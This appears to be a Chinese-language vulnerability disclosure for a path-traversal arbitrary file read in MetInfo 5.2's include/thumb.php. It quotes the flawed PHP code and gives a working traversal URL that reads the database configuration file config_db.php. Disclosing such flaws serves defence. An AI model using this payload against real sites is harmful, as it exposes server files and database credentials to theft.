攻击者通过提交精心构造的参数可以获取服务器端任意文件内容!
MetInfo 5.2(当前最新版本)的 include/thumb.php 文件本来用来获取缩略图,但是其构造的缩略图路径存在外部可控变量,攻击者可以借此获取任意文件内容:
include/thumb.php关键代码如下$ext1 = explode("/", $dir); //$dir变量由外部传入
$count = count($ext1);
$count1 = $ext1[$count-1];
$ext2 = explode(".", $count1);
$ext3 = $ext2[1]; // $ext3为$dir变量文件名后缀
$path1 = $ext2[0]; // $ext3为$dir变量文件名称
$dir1 = '../upload/thumb_src/'.$x.'_'.$y.'/'.$path1.'.'.$ext3; // $x和$y由外部传入,因此导致整个$dir1变量完全可控
if(file_exists($dir1)){ // 该处逻辑实现读取$dir1文件内容
echo "the file exist:".$dir1;
readfile("$dir1");
}else{
$f = new upfile();
$imgurls = $f->createthumb($dir,$x,$y);
readfile($imgurls);
}
?>
攻击者够高的攻击性URL为:include/thumb.php?x=1&y=/../../../config&dir=config_db.php
然后在浏览器源码中可以看到config_db.php的代码: